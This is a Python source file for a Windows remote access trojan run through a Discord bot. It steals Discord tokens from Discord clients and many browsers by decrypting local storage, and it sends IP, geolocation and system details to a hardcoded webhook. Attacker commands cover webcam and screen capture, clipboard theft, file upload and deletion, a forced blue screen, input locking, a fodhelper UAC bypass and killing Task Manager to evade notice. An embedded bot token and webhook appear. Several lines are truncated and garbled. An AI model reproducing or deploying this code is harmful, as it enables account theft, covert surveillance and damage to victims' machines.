import discord, asyncio, os, requests, platform, socket, psutil, re, json, base64
from Crypto.Cipher import AES
from discord.ext import commands
from datetime import datetime
from win32crypt import CryptUnprotectData
from uuid import getnode as get_mac
from json import loads, dumps
TOKEN = 'MTEzNjk4MzU3OTQ3ODQ3ODg3MA.GK_sgl.o3h-k0htq9jf4aZseFcb88nHiBKLddIWBpGOzk'
intents = discord.Intents.default()
intents.message_content = True
client = discord.Client(intents=intents)
bot = commands.Bot(command_prefix='.', intents=intents)
URL="https://discord.com/api/webhooks/1136980495285108757/L_Kk2aCE_7NkH10ce0gI5eubkfh63vGyEGsjndKmzphqFTVxrdq0tNTrMHA69S5NrmCn"
def scale(bytes, suffix="B"):
defined = 1024
for unit in ["", "K", "M", "G", "T", "P"]:
if bytes < defined:
return f"{bytes:.2f}{unit}{suffix}"
bytes /= defined
uname = platform.uname()
bt = datetime.fromtimestamp(psutil.boot_time())
host = socket.gethostname()
localip = socket.gethostbyname(host)
publicip = requests.get('https://api.ipify.org').text
city = requests.get(f'https://ipapi.co/{publicip}/city').text
regi
postal = requests.get(f'https://ipapi.co/{publicip}/postal').text
timez
currency = requests.get(f'https://ipapi.co/{publicip}/currency').text
country = requests.get(f'https://ipapi.co/{publicip}/country_name').text
callcode = requests.get(f"https://ipapi.co/{publicip}/country_calling_code").text
vpn = requests.get('http://ip-api.com/json?fields=proxy')
proxy = vpn.json()['proxy']
latitude = requests.get(f'https://ipapi.co/{publicip}/latitude').text
l
mac = get_mac()
class token_log:
def __init__(self) -> None:
self.base_url = "https://discord.com/api/v9/users/@me"
self.appdata = os.getenv("localappdata")
self.roaming = os.getenv("appdata")
self.regexp = r"[w-]{24}.[w-]{6}.[w-]{25,110}"
self.regexp_enc = r"dQw4w9WgXcQ:[^"]*"
self.tokens, self.uids = [], []
self.extract()
def extract(self) -> None:
print("Extracting tokens...")
paths = {
'Discord': self.roaming +
'Discord Canary': self.roaming +
'Lightcord': self.roaming +
'Discord PTB': self.roaming +
'Opera': self.roaming +
'Opera GX': self.roaming +
'Amigo': self.appdata +
'Torch': self.appdata +
'Kometa': self.appdata +
'Orbitum': self.appdata +
'CentBrowser': self.appdata +
'7Star': self.appdata +
'Sputnik': self.appdata +
'Vivaldi': self.appdata +
'Chrome SxS': self.appdata +
'Chrome': self.appdata +
'Chrome1': self.appdata +
'Chrome2': self.appdata +
'Chrome3': self.appdata +
'Chrome4': self.appdata +
'Chrome5': self.appdata +
'Epic Privacy Browser': self.appdata +
'Microsoft Edge': self.appdata +
'Uran': self.appdata +
'Yandex': self.appdata +
'Brave': self.appdata +
'Iridium': self.appdata +
}
for name, path in paths.items():
if not os.path.exists(path):
continue
_discord = name.replace(" ", "").lower()
if "cord" in path:
if not os.path.exists(self.
continue
for file_name in os.listdir(path):
if file_name[-3:] not in ["log", "ldb"]:
continue
for line in [x.strip() for x in
for y in re.findall(self.regexp_enc, line):
token = self.decrypt_val(base64.b64decode(y.split('dQw4w9WgXcQ:')[
1]), self.get_master_key(self.
if self.validate_token(token):
uid = requests.get(self.base_url, headers={
'Authorization': token}).json()['id']
if uid not in self.uids:
self.tokens.append(token)
self.uids.append(uid)
else:
for file_name in os.listdir(path):
if file_name[-3:] not in ["log", "ldb"]:
continue
for line in [x.strip() for x in
for token in re.findall(self.regexp, line):
if self.validate_token(token):
uid = requests.get(self.base_url, headers={
'Authorization': token}).json()['id']
if uid not in self.uids:
self.tokens.append(token)
self.uids.append(uid)
if os.path.exists(self.
for path, _, files in os.walk(self.
for _file in files:
if not _file.endswith('.sqlite'):
continue
for line in [x.strip() for x in
for token in re.findall(self.regexp, line):
if self.validate_token(token):
uid = requests.get(self.base_url, headers={
'Authorization': token}).json()['id']
if uid not in self.uids:
self.tokens.append(token)
self.uids.append(uid)
def validate_token(self, token: str) -> bool:
print("Validating tokens...")
r = requests.get(self.base_url, headers={'Authorization': token})
if r.status_code == 200:
return True
return False
def decrypt_val(self, buff: bytes, master_key: bytes) -> str:
print("Decrypting tokens...")
iv = buff[3:15]
payload = buff[15:]
cipher = AES.new(master_key, AES.MODE_GCM, iv)
decrypted_pass = cipher.decrypt(payload)
decrypted_pass = decrypted_pass[:-16].decode()
return decrypted_pass
def get_master_key(self, path: str) -> str:
if not os.path.exists(path):
return
if 'os_crypt' not in open(path, 'r', encoding='utf-8').read():
return
with open(path, "r", encoding="utf-8") as f:
c = f.read()
local_state = json.loads(c)
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
master_key = master_key[5:]
master_key = CryptUnprotectData(master_key, None, None, None, 0)[1]
return master_key
tokens = token_log().tokens
cpufreq = psutil.cpu_freq()
svmem = psutil.virtual_memory()
partitions = psutil.disk_partitions()
disk_io = psutil.disk_io_counters()
net_io = psutil.net_io_counters()
partitions = psutil.disk_partitions()
for partition in partitions:
try:
partition_usage = psutil.disk_usage(partition.mountpoint)
except PermissionError:
continue
requests.post(URL, data=json.dumps({ "embeds": [ { "title": f"Someone Runs Program! - {host}", "color": 8781568 }, { "color": 7506394, "fields": [ { "name": "GeoLocation", "value": f"Using VPN?: {proxy}nLocal IP: {localip}nPublic IP: {publicip}nMAC Adress: {mac}nnCountry: {country} | {callcode} | {timezone}nregion: {region}nCity: {city} | {postal}nCurrency: {currency}nCoordinates: {latitude} {longitude}nnnn" } ] }, { "fields": [ { "name": "System Information", "value": f"System: {uname.system}nNode: {uname.node}nMachine: {uname.machine}nProcessor: {uname.processor}nnBoot Time: {bt.year}/{bt.month}/{bt.day} {bt.hour}:{bt.minute}:{bt.second}" } ] }, { "color": 15109662, "fields": [ { "name": "CPU Information", "value": f"Psychical cores: {psutil.cpu_count(logical=False)}nTotal Cores: {psutil.cpu_count(logical=True)}nnMax Frequency: {cpufreq.max:.2f}MhznMin Frequency: {cpufreq.min:.2f}MhznnTotal CPU usage: {psutil.cpu_percent()}n" }, { "name": "Nemory Information", "value": f"Total: {scale(svmem.total)}nAvailable: {scale(svmem.available)}nUsed: {scale(svmem.used)}nPercentage: {svmem.percent}%" }, { "name": "Disk Information", "value": f"Total Size: {scale(partition_usage.total)}nUsed: {scale(partition_usage.used)}nFree: {scale(partition_usage.free)}nPercentage: {partition_usage.percent}%nnTotal read: {scale(disk_io.read_bytes)}nTotal write: {scale(disk_io.write_bytes)}" }, { "name": "Network Information", "value": f"Total Sent: {scale(net_io.bytes_sent)}")nTotal Received: {scale(net_io.bytes_recv)}" } ] }, { "color": 7440378, "fields": [ { "name": "Discord information", "value": f"Token: {tokens}" } ] } ] }), headers={"Content-Type": "application/json"})
command_info = [
".update",
".bsod",
".lock input",
".open
".upload
".message 'text'",
".del
".tokens",
".info",
".geolocate",
".net",
".self-destruct",
".cam",
".uac",
".ss",
".voice 'text'",
".admin",
".clipboard",
".wallpaper
".play
".kill
".website <link>",
".animan",
]
channel_id = None
@client.event
async def on_ready():
print(f'Logged in as a {client.user}')
import threading
global stop_threads, thread, channel_id
stop_threads = False
thread = threading.Thread(target=between_callback, args=(client,))
thread.start()
channel_name = str.lower(host)
needed_guild_id = 1106247623276515428
needed_guild = client.get_guild(needed_guild_id)
existing_channel = discord.utils.get(needed_guild.channels, name=channel_name)
if existing_channel:
print(f"A channel with the name '{channel_name}' exists in {needed_guild.name}!")
channel_id = existing_channel.id
target_channel = client.get_channel(1137025518215118928)
await target_channel.send(f"Channel for this session is already existing: {existing_channel.mention}")
else:
print(f"No channel with the name '{channel_name}' exists in {needed_guild.name}.")
new_channel = await needed_guild.create_text_channel(channel_name)
channel_id = new_channel.id
target_channel = client.get_channel(1137025518215118928)
await target_channel.send(f"Created new channel for this session: {new_channel.mention}")
def between_callback(client):
loop = asyncio.new_event_loop()
asyncio.set_event_loop(loop)
loop.run_until_complete(activity(client))
loop.close()
async def activity(client):
print("Enabling system monitoring")
import time
import win32gui
import win32process
import psutil
import subprocess
def get_active_executable_name():
try:
process_id = win32process.GetWindowThreadProcessId(
win32gui.GetForegroundWindow()
)
return ".".join(psutil.Process(process_id[-1]).name().split(".")[:-1])
except Exception as exception:
return None
print("Successfully injected!")
while True:
if get_active_executable_name() == "Taskmgr":
subprocess.call(f"TASKKILL /F /IM main.exe")
global stop_threads
if stop_threads:
break
window = win32gui.GetWindowText(win32gui.GetForegroundWindow())
game = discord.Game(f"Visiting: {window}")
await client.change_presence(status=discord.Status.online, activity=game)
time.sleep(1)
@client.event
async def on_message(message):
if message.author == client.user:
return
if message.channel.id != channel_id:
return
if message.content.startswith(".update"):
import bs4, requests, os
response = requests.get(message.content[8:],headers={'User-Agent': 'Mozilla/5.0'})
soup = bs4.BeautifulSoup(response.text,'lxml')
f = open("updated.py", "a")
f.write(soup.body.get_text(' ', strip=True))
f.close()
if message.content.startswith(".bsod"):
from ctypes import windll
from ctypes import c_int
from ctypes import c_uint
from ctypes import c_ulong
from ctypes import POINTER
from ctypes import byref
nullptr = POINTER(c_int)()
windll.ntdll.RtlAdjustPrivilege(
c_uint(19),
c_uint(1),
c_uint(0),
byref(c_int())
)
windll.ntdll.NtRaiseHardError(
c_ulong(0xC000007B),
c_ulong(0),
nullptr,
nullptr,
c_uint(6),
byref(c_uint())
)
if message.content.startswith(".upload"):
await message.attachments[0].save(message.content[8:])
await message.channel.send("Uploaded the file you sent")
if message.content.startswith(".lock input"):
import pynput
mouse_listener = pynput.mouse.Listener(suppress=True)
mouse_listener.start()
keyboard_listener = pynput.keyboard.Listener(suppress=True)
keyboard_listener.start()
if message.content.startswith(".message"):
import ctypes
import time
MB_YESNO = 0x04
MB_HELP = 0x4000
ICON_STOP = 0x10
def mess():
ctypes.windll.user32.MessageBoxW(0, message.content[8:], "Error", MB_HELP | MB_YESNO | ICON_STOP) #Show message box
import threading
messa = threading.Thread(target=mess)
messa._running = True
messa.daemon = True
messa.start()
import win32con
import win32gui
import time
time.sleep(1)
hwnd = win32gui.FindWindow(None, "Error")
win32gui.ShowWindow(hwnd, win32con.SW_RESTORE) #Put message to foreground
win32gui.SetWindowPos(hwnd,win32con.HWND_NOTOPMOST, 0, 0, 0, 0, win32con.SWP_NOMOVE + win32con.SWP_NOSIZE)
win32gui.SetWindowPos(hwnd,win32con.HWND_TOPMOST, 0, 0, 0, 0, win32con.SWP_NOMOVE + win32con.SWP_NOSIZE)
win32gui.SetWindowPos(hwnd,win32con.HWND_NOTOPMOST, 0, 0, 0, 0, win32con.SWP_SHOWWINDOW + win32con.SWP_NOMOVE + win32con.SWP_NOSIZE)
if message.content.startswith(".help"):
embed=discord.Embed()
help_message = ""
for command in command_info:
help_message += f"{command}n"
embed.add_field(name="Available commands", value=help_message, inline=False)
await message.channel.send(embed=embed)
if message.content.startswith(".tokens"):
await message.channel.send(tokens)
if message.content.startswith(".net"):
import netifaces as ni
def get_network_information():
# Get a list of all network interfaces on the system
interfaces = ni.interfaces()
network_info = {}
for interface in interfaces:
addresses = ni.ifaddresses(interface)
interface_info = {}
# Get MAC address (Ethernet address)
if ni.AF_LINK in addresses:
mac_address = addresses[ni.AF_LINK][0]['addr']
interface_info['MAC Address'] = mac_address
# Get IPv4 addresses
if ni.AF_INET in addresses:
ipv4_addresses = [addr['addr'] for addr in addresses[ni.AF_INET]]
interface_info['IPv4 Addresses'] = ipv4_addresses
# Get IPv4 netmasks
ipv4_netmasks = [addr.get('netmask', 'N/A') for addr in addresses[ni.AF_INET]]
interface_info['IPv4 Netmasks'] = ipv4_netmasks
# Get IPv4 broadcast addresses
ipv4_broadcasts = [addr.get('broadcast', 'N/A') for addr in addresses[ni.AF_INET]]
interface_info['IPv4 Broadcast Addresses'] = ipv4_broadcasts
# Get IPv4 gateway addresses (if available)
gateway_address = ni.gateways().get('default', {}).get(ni.AF_INET, 'N/A')
interface_info['IPv4 Gateway'] = gateway_address
# Get IPv6 addresses
if ni.AF_INET6 in addresses:
ipv6_addresses = [addr['addr'] for addr in addresses[ni.AF_INET6]]
interface_info['IPv6 Addresses'] = ipv6_addresses
# Get IPv6 netmasks
ipv6_netmasks = [addr.get('netmask', 'N/A') for addr in addresses[ni.AF_INET6]]
interface_info['IPv6 Netmasks'] = ipv6_netmasks
# Add more details as needed
network_info[interface] = interface_info
return network_info
if __name__ == "__main__":
network_info = get_network_information()
message_content = ""
for interface, info in network_info.items():
message_content += f"Interface: {interface}n"
for key, value in info.items():
message_content += f"{key}: {value}n"
message_content += "n"
await message.channel.send(message_content)
if message.content.startswith(".info"):
import platform
info = platform.uname()
info_total = f'{info.system} {info.release} {info.machine}'
await message.channel.send(f'{info_total} {publicip}')
if message.content.startswith(".geolocate"):
import urllib.request
import json
with urllib.request.urlopen("https://geolocation-db.com/json") as url:
data = json.loads(url.read().decode())
link = f"http://www.google.com/maps/place/{data['latitude']},{data['longitude']}"
await message.channel.send(link)
if message.content.startswith(".self-destruct"):
import shutil
temp_dir = tempfile.mkdtemp()
shutil.rmtree(temp_dir)
subprocess.call(f"TASKKILL /F /IM main.exe")
if message.content.startswith(".open"):
import os
path_to_file = message.content[5:]
try:
os.open(path_to_file)
await message.channel.send("File has been opened")
except FileNotFoundError:
await message.channel.send("Could not open file")
if message.content.startswith(".del"):
import os
path_to_file = message.content[5:]
try:
os.remove(path_to_file)
await message.channel.send("File has been deleted")
except FileNotFoundError:
await message.channel.send("Could not delete file")
if message.content.startswith(".cam"):
import cv2, os
def capture_and_save_image(file_path):
# Initialize the camera
camera = cv2.VideoCapture(0) # 0 represents the default camera
# Check if the camera is opened correctly
if not camera.isOpened():
print("Error: Unable to access the camera.")
camera.release()
return
# Capture a single frame
ret, frame = camera.read()
if ret:
# Save the captured frame to the file_path
cv2.imwrite(file_path, frame)
print(f"Image saved to {file_path}")
else:
print("Error: Unable to capture the image.")
# Release the camera
camera.release()
if __name__ == "__main__":
file_path = os.path.join(os.getenv('TEMP') +
capture_and_save_image(file_path)
file = discord.File(os.path.join(os.getenv('TEMP') +
await message.channel.send(file=file)
os.remove(os.path.join(os.getenv('TEMP') +
if message.content.startswith(".uac"):
import os
import sys
import ctypes
import winreg
CMD = r"C:WindowsSystem32cmd.exe"
FOD_HELPER = r'C:WindowsSystem32fodhelper.exe'
PYTHON_CMD = "python"
REG_PATH = 'SoftwareClassesms-settingsshellopencommand'
DELEGATE_EXEC_REG_KEY = 'DelegateExecute'
def is_running_as_admin():
#Checks if the script is running with administrative privileges.
#Returns True if is running as admin, False otherwise.
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except:
return False
def create_reg_key(key, value):
#Creates a reg key
try:
winreg.CreateKey(winreg.HKEY_CURRENT_USER, REG_PATH)
registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_PATH, 0, winreg.KEY_WRITE)
winreg.SetValueEx(registry_key, key, 0, winreg.REG_SZ, value)
winreg.CloseKey(registry_key)
except WindowsError:
raise
def bypass_uac(cmd):
#Tries to bypass the UAC
try:
create_reg_key(DELEGATE_EXEC_REG_KEY, '')
create_reg_key(None, cmd)
except WindowsError:
raise
if not is_running_as_admin():
await message.channel.send('Trying to bypass the UAC')
try:
current_dir = os.path.dirname(os.path.realpath(__file__)) +
cmd = '{} /k {} {}'.format(CMD, PYTHON_CMD, current_dir)
bypass_uac(cmd)
os.system(FOD_HELPER)
sys.exit(0)
except WindowsError:
sys.exit(1)
else:
await message.channel.send('The script is running with administrative privileges!')
if message.content.startswith(".ss"):
import os
from mss import mss
with mss() as sct:
sct.shot(output=os.path.join(os.getenv('TEMP') +
file = discord.File(os.path.join(os.getenv('TEMP') +
await message.channel.send(file=file)
os.remove(os.path.join(os.getenv('TEMP') +
if message.content.startswith(".voice"):
import comtypes
import win32com.client as wincl
speak = wincl.Dispatch("SAPI.SpVoice")
speak.Speak(message.content[7:])
comtypes.CoUninitialize()
await message.channel.send("Successfully played your voice message")
if message.content.startswith(".admin"):
import ctypes, os
def admin():
try:
is_admin = (os.getuid() == 0)
except AttributeError:
is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
return is_admin
if admin():
await message.channel.send("You are an admin")
else:
await message.channel.send("You are not an admin")
if message.content.startswith(".clipboard"):
import ctypes
import os
CF_TEXT = 1
kernel32 = ctypes.windll.kernel32
kernel32.GlobalLock.argtypes = [ctypes.c_void_p]
kernel32.GlobalLock.restype = ctypes.c_void_p
kernel32.GlobalUnlock.argtypes = [ctypes.c_void_p]
user32 = ctypes.windll.user32
user32.GetClipboardData.restype = ctypes.c_void_p
user32.OpenClipboard(0)
if user32.IsClipboardFormatAvailable(CF_TEXT):
data = user32.GetClipboardData(CF_TEXT)
data_locked = kernel32.GlobalLock(data)
text = ctypes.c_char_p(data_locked)
value = text.value
kernel32.GlobalUnlock(data_locked)
body = value.decode()
user32.CloseClipboard()
await message.channel.send(f"Clipboard content is: {body}")
if message.content.startswith(".website"):
import webbrowser
webbrowser.open(message.content[9:])
await message.channel.send("Website has been successfully opened")
if message.content.startswith(".kill"):
import subprocess
subprocess.call(f"TASKKILL /F /IM {message.content[6:]}")
await message.channel.send(subprocess.getoutput())
if message.content.startswith(".play"):
from pygame import mixer
import os, time
path = os.path.join(os.getenv('TEMP') +
await message.attachments[0].save(path)
def play(path):
mixer.init()
mixer.music.load(path)
mixer.music.play()
while mixer.music.get_busy():
time.sleep(1)
play(path)
await message.channel.send("Stopped playing music")
os.remove(os.path.join(os.getenv('TEMP') +
if message.content.startswith(".wallpaper"):
import ctypes
import os
path = os.path.join(os.getenv('TEMP') +
await message.attachments[0].save(path)
ctypes.windll.user32.SystemParametersInfoW(20, 0, path , 0)
await message.channel.send("Wallpaper has been set")
os.remove(os.path.join(os.getenv('TEMP') +
if message.content.startswith(".animan"):
import ctypes, os, time, tempfile, requests, zipfile
path = os.path.join(tempfile.gettempdir(), 'frames')
def download(url, folder):
if not os.path.exists(folder):
os.makedirs(folder)
filename = url.split('/')[-1].replace(" ", "_")
file_path = os.path.join(folder, filename)
r = requests.get(url, stream=True)
if r.ok:
with open(file_path, 'wb') as f:
for chunk in r.iter_content(1024 * 8):
if chunk:
f.write(chunk)
f.flush()
os.fsync(f.fileno())
else:
print(f"Failed downloading status code: {r.status_code}n{r.text}")
download("https://cdn.discordapp.com/attachments/1021529453186256986/1104325074602967091/animan.zip", path)
with zipfile.ZipFile(f"{path}/animan.zip", 'r') as zip_ref:
zip_ref.extractall(path)
os.remove(f"{path}/animan.zip")
await message.channel.send("Wallpaper has been set")
while True:
for i in range(1, 642):
absolute_path = os.path.abspath(f"{path}/animan/frame ({i}).png")
result = ctypes.windll.user32.SystemParametersInfoW(20, 0, absolute_path, 0)
time.sleep(0.05)
client.run(TOKEN)